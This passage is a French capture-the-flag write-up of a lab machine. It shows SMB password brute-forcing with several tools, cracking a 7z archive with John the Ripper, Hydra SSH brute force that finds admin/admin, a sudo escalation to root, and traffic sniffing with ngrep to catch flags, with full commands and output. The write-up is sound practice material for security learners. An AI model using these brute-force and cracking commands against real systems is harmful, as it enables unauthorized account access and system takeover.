Malheureusement l’accès aux partages est protégé. J’ai tenté de bruteforcer les accès avec les outils et résultats suivants :
- Hydra : n’a rien trouvé
- Nmap (via le script smb-brute) : n’a rien trouvé
- CrackMapExec : a donné des faux positifs
- smb-brute-force de curesec : faux positifs
- Medusa : faux positifs
- Godance : faux positifs
Et en testant à la mano avec smbclient :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ./proxychains4 -f proxychains.conf smbclient -U "larryjr" //172.31.200.204/users
[proxychains] config file found: proxychains.conf
[proxychains] preloading ./libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.15-git-1-g7de7dd0
Password for [WORKGROUP\larryjr]:
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.31.200.204:445 ... OK
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Oct 28 21:52:38 2018
.. D 0 Sun Oct 28 21:38:52 2018
Flag.txt A 18 Sun Oct 28 21:52:53 2018
41019616 blocks of size 1024. 26189980 blocks available
smb: \> lcd /tmp
smb: \> get Flag.txt
getting file \Flag.txt of size 18 as Flag.txt (0,8 KiloBytes/sec) (average 0,8 KiloBytes/sec)
Ça passe avec larryjr / larryjr… On est en 2022 et aucun des outils de bruteforce n’est capable de casser du SMB, ça promet (il manque Metasploit que je n’ai pas testé).
Le flag obtenu est {{tryharder:1337}}
Sur le partage companyInfo on a trois fichiers :
1
2
3
Flag.txt A 18 Sun Oct 28 21:55:05 2018
moreinfo.7z A 226 Sun Oct 28 22:02:24 2018
hint.txt A 93 Sun Oct 28 22:03:08 2018
Un flag ({{tryharder:2020}}) et une notice explicative :
The password is like {{tryharder:xx}} where xx are two numbers…
The password is the flag!!
Comme on s’en doutait l’archive 7z restante est protégée par mot de passe. J’utilise l’utilitaire 7z2john puis je casse en générant les mots de passe possibles à la volée :
1
2
3
4
5
6
7
8
9
10
11
12
13
$ python3 -c 'for i in range(100): print("{{tryharder:" + str(i) + "}}")' | ./john --stdin /tmp/hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 128/128 AVX 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 12 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Cost 4 (data length) is 68 for all loaded hashes
Will run 4 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
{{tryharder:77}} (moreinfo.7z)
1g 0:00:00:03 0.3058g/s 24.46p/s 24.46c/s 24.46C/s {{tryharder:64}}..{{tryharder:79}}
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We would have such a very good time
Pour terminer intéressons-nous au port SSH accessible uniquement depuis l’intérieur du réseau.
1
2
3
4
5
6
7
8
9
$ ./proxychains4 -q -f proxychains.conf hydra -e nsr -L /tmp/users.txt -P /tmp/pass.txt ssh://172.31.200.1/
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra)
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 153 login tries (l:9/p:17), ~10 tries per task
[DATA] attacking ssh://172.31.200.1:22/
[22][ssh] host: 172.31.200.1 login: admin password: admin
1 of 1 target successfully completed, 1 valid password found
Et à partir de là :
1
2
3
4
5
6
7
8
9
10
11
12
13
$ sudo -l
sudo: unable to resolve host myhouse7
[sudo] password for admin:
Matching Defaults entries for admin on myhouse7:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on myhouse7:
(ALL) ALL
$ sudo su
sudo: unable to resolve host myhouse7
root@myhouse7:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
Oups il manque un flag que j’ai du rater sur l’énumération web. Pas de panique, je met un Ngrep en écoute pour matcher tryharder puis je scanne le CMS avec Wapiti :
1
wapiti -u http://192.168.1.50:8115/ -v2 --color -m ''
Ngrep le voit transiter dans les pages crawlées :
1
2
3
4
5
6
$ sudo ngrep -q -d enp3s0 tryharder "host 192.168.1.50"
interface: enp3s0 (192.168.1.0/255.255.255.0)
filter: ( host 192.168.1.50 ) and ((ip || ip6) || (vlan && (ip || ip6)))
match: tryharder
T 192.168.1.47:51848 -> 192.168.1.50:8115 [AP] #160
token=VEAiR1kR79jMeKa9poYANMNof3VpFKherzzebo7PcofDyOe5pphilyPQ1rHNjHc3&flag=%7B%7Btryharder%3A104%7D%7D&user=alice&pass=Letm3in_
Ngrep voit la requête POST générée par Wapiti, mais n’a pas vu le flag dans la page web, vraisemblablement parce que le serveur a envoyé sa réponse compressée.
Si on se rend sur la page de login administrateur du CMS on retrouve bien le flag :
1
<input name="flag" type="hidden" value="{{tryharder:104}}">
Pour information juste lancer un scan de port Nmap avec Ngrep en parallèle remonte 4 flags différents :)
Challenge très sympa, il aurait pu gagner à se diversifier sur les failles à exploiter même si ce n’était pas l’objectif premier.
Published January 01 2022 at 23:46